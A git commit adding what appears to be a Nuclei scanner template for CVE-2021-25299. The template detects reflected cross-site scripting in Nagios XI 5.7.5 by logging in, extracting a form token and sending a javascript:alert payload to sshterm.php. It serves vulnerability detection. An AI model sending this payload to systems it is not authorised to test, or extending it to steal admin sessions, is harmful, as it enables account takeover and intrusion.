Create CVE-2021-25299.yaml
parent
380836a4a7
commit
5382591df0
|
@ -0,0 +1,52 @@
|
|||
id: CVE-2021-25299
|
||||
|
||||
info:
|
||||
name: Nagios XI 5.7.5 - Cross-Site Scripting
|
||||
author: ritikchaddha
|
||||
severity: medium
|
||||
description: |
|
||||
Nagios XI version xi-5.7.5 is affected by cross-site scripting (XSS). The vulnerability exists in the file /usr/local/nagiosxi/html/admin/sshterm.php due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal his/her session cookies or it can be chained with the previous bugs to get one-click remote command execution (RCE) on the Nagios XI server.
|
||||
reference:
|
||||
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-25299
|
||||
classification:
|
||||
cve-id: CVE-2021-25299
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
||||
cvss-score: 6.1
|
||||
cwe-id: CWE-79
|
||||
tags: cve,cve2021,nagios,nagiosxi,xss,authenticated
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /nagiosxi/login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
POST /nagiosxi/login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
|
||||
|
||||
- |
|
||||
GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
cookie-reuse: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "contains(all_headers_3, 'text/html')"
|
||||
- "status_code_3 == 200"
|
||||
- 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
|
||||
condition: and
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: nsp
|
||||
part: body
|
||||
group: 1
|
||||
regex:
|
||||
- 'name="nsp" value="(.*)">'
|
||||
internal: true
|
Loading…
Reference in New Issue